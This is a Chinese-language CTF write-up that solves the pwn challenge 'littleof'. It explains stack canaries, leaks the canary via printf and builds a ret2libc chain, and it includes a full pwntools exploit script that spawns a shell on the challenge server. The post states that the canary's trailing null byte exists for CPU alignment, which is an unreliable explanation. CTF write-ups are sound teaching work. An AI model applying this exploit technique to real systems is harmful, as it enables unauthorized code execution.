编辑
2023-05-04
pwn
00
请注意,本文编写于 716 天前,最后修改于 716 天前,其中某些信息可能已经过时。

难绷,一题看了4个小时,各种莫名其妙的报错,一直EOFEOF,给我快整emo了,还是不算难的一题,累死了。

还是先看题:

image-20230504212430957

一如既往的64位动态链接文件,较之前难度提升的一点是开启了canary保护

这里解释下什么是canary保护:

​ 在计算机系统中,栈是一种常见的内存结构,用于存储函数调用期间程序状态的信息,如本地变量、返回地址等。为了保护计算机系统的安全,许多现代操作系统都采用了一种叫做“堆栈保护”的技术,其中包括使用所谓的“canary”来检测缓冲区溢出漏洞。

在一些堆栈保护技术中,canary 被插入到函数的堆栈帧中,并被初始化为一个随机值。当函数返回时,canary 的一致性将被检查,以确保它未被篡改。如果 canary 值已经被篡改,那么说明缓冲区溢出攻击已经发生。

需要注意的是,canary 的实现方式和系统架构等因素有关,因此其具体实现可能存在差异。

所以这一题要是还想要栈溢出就必须得进行leek出canary来绕过。

所以来看源码:

image-20230504212857898

这题也很明显的给了你一个专门来泄露地址的printf(),所以这里就需要利用printf泄露地址(因为printf遇到\x00截断,所以只需要在canary之前全部填充非‘0’垃圾数据就很自然地可以泄露出canary地址。

python
io.recvuntil(b'overflow?\n') io.send(b'a'*(0x48)+b's') io.recvuntil(b's') canary = u64(io.recv(7).rjust(8,b'\x00'))

因为canary是占位8字节,所以我们需要输入的垃圾数据为0x50-0x08,也就是0x48字节数据,但是

对于大多数现代操作系统,canary 的最后一位通常会被固定为零(\x00),这是因为某些 CPU 架构要求堆栈的字节对齐(通常为 4 或 8 字节),因此必须将 canary 末尾的字节设置为零,以确保字节对齐。但在一些特殊情况下,canary 的固定位可能并不是零字节。

canary的最后一位通常是\x00并且是小端序所以必须得再输入一字节数据覆盖0x00防止printf被截断,同样因此接收也只能接收7字节然后人为添加上被覆盖的0x00,这样canary就被泄露出来了。

这里我试了一下:

image-20230504220531486

这里一个是canary = u64(io.recv(7).rjust(8,b'\x00'))

另一个是canary2 = u64(io.recv(8))

很明显看到除了第一字节不一样外其他都一样,这里就是因为后面一个被\x00截断了。

之后就是正常的ret2libc:

python
payload = b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+\ p64(puts_got)+p64(puts_plt)+p64(main_addr) io.sendlineafter(b'harder!',payload) io.recvuntil(b'I hope you win\n') puts_addr = u64(io.recv(6).ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh')

这我还要说一点:

这里我看了很久的原因就是我一开始用recvuntil接收会报错,很奇怪,不用就不会,但是这样puts-addr又有问题,写wp的时候我又试了一遍,结果可以了,估计是我wsl的原因(果不其然,wsl不太稳定),属实难绷。

这里如果不用recvuntil先接收数据或者不用sendlineafter传参都会报错,会导致puts_addr的地址出现问题。

很离谱。

然后就是:

python
io.recvuntil(b'overflow?\n') io.send(b'a'*(0x48)+b's') io.recvuntil(b's') #c = io.recv(8) #canary = int(c.decode('utf-8'),16) canary2 = u64(io.recv(8)) print(hex(canary2)) payload = b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(ret)+p64(pop_rdi)+\ p64(binsh)+p64(system) io.sendlineafter(b'harder!',payload) io.interactive()

很常规的ret2libc

完整exp:

python
from pwn import* from LibcSearcher import* io = remote('node4.anna.nssctf.cn',28499) elf = ELF('./littleof') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = 0x0000000000400789 pop_rdi = 0x400863 ret = 0x040059e io.recvuntil(b'overflow?\n') io.send(b'a'*(0x48)+b's') io.recvuntil(b's') #c = io.recv(8) #canary = int(c.decode('utf-8'),16) canary = u64(io.recv(7).rjust(8,b'\x00')) print(hex(canary)) payload = b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+\ p64(puts_got)+p64(puts_plt)+p64(main_addr) io.recvuntil(b'harder!') io.sendline(payload) io.recvuntil(b'I hope you win\n') puts_addr = u64(io.recv(6).ljust(8,b'\x00')) print(hex(puts_addr)) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh') io.recvuntil(b'overflow?\n') io.send(b'a'*(0x48)+b's') io.recvuntil(b's') #c = io.recv(8) #canary = int(c.decode('utf-8'),16) canary2 = u64(io.recv(8)) print(hex(canary2)) payload = b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(ret)+p64(pop_rdi)+\ p64(binsh)+p64(system) io.sendlineafter(b'harder!',payload) io.interactive()

flag:

image-20230504220910390

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!